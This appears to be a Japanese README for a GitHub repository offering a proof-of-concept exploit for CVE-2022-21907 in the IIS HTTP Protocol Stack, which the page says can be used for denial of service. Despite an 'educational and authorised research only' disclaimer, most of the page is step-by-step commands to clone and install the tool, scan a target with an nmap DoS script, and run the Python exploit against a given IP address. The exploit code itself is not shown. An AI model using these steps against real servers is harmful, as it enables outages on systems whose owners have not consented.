asepsaepdin/cve-2022-21907CVE-2022-21907（HTTPプロトコルスタック（IIS）のリモートコード実行脆弱性）の概念実証エクスプロイト。検出と悪用のためのPythonスクリプトとNmapスクリプトが含まれます。
⚠️ 教育および許可されたセキュリティ研究目的のみ
元のPoC作者であるNU11SECURITYとmichelepに深く感謝します。
HTTPプロトコルスタックのリモートコード実行の脆弱性です。この脆弱性は、IIS Webサーバーを持つターゲットシステムに対してサービス拒否攻撃を引き起こす可能性があります。
gitをインストールし、GitHubリポジトリからPoCをクローンします:
sudo apt install git -y
git clone https://github.com/asepsaepdin/CVE-2022-21907.git
pip3コマンドを使用して要件をインストールします:
sudo apt install python3-pip -y
cd CVE-2022-21907
pip3 install -r requirements.txt
次のコマンドを使用して、ターゲットマシンの脆弱性の有無を確認します:
nmap -p 80 --script dos_iis_2022_21907 10.10.10.1
次に、次のコマンドを使用してPoCスクリプトを実行します:
python3 CVE-2022-21907.py -i 10.10.1.10
注意: -iオプションでターゲットのIPアドレスを指定します